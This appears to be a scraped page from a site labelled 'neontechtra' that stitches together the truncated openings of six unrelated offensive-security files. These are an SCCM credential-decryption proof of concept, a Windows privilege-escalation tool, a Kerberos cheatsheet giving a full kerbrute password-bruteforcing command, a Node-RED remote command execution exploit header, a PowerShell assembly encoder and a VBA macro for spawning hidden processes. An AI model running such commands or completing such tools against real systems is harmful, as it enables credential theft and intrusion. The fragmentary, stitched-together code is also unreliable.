neontechtra

// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;)
// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work.

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;

namespace SCCMDecryptPOC
{
    internal class Program

neontechtra

// TcbElevation - Authors: @splinter_code and @decoder_it

#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>

#pragma comment(lib, "Secur32.lib")

void EnableTcbPrivilege(BOOL enforceCheck);

neontechtra

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

neontechtra

#!/usr/bin/env python3
"""
----------------------------------------------------------------------------
"THE BEER-WARE LICENSE" (Revision 42):
QKaiser wrote this file. As long as you retain this notice you
can do whatever you want with this stuff. If we meet some day, and you think
this stuff is worth it, you can buy me a beer in return.
----------------------------------------------------------------------------
----------------------------------------------------------------------------
Node-RED Remote Command Execution exploit.

neontechtra

Function Invoke-EncodeAssembly
{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$true)]
        [String]
        $binaryPath,

        [Parameter(Mandatory=$true)]
        [String]

neontechtra

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007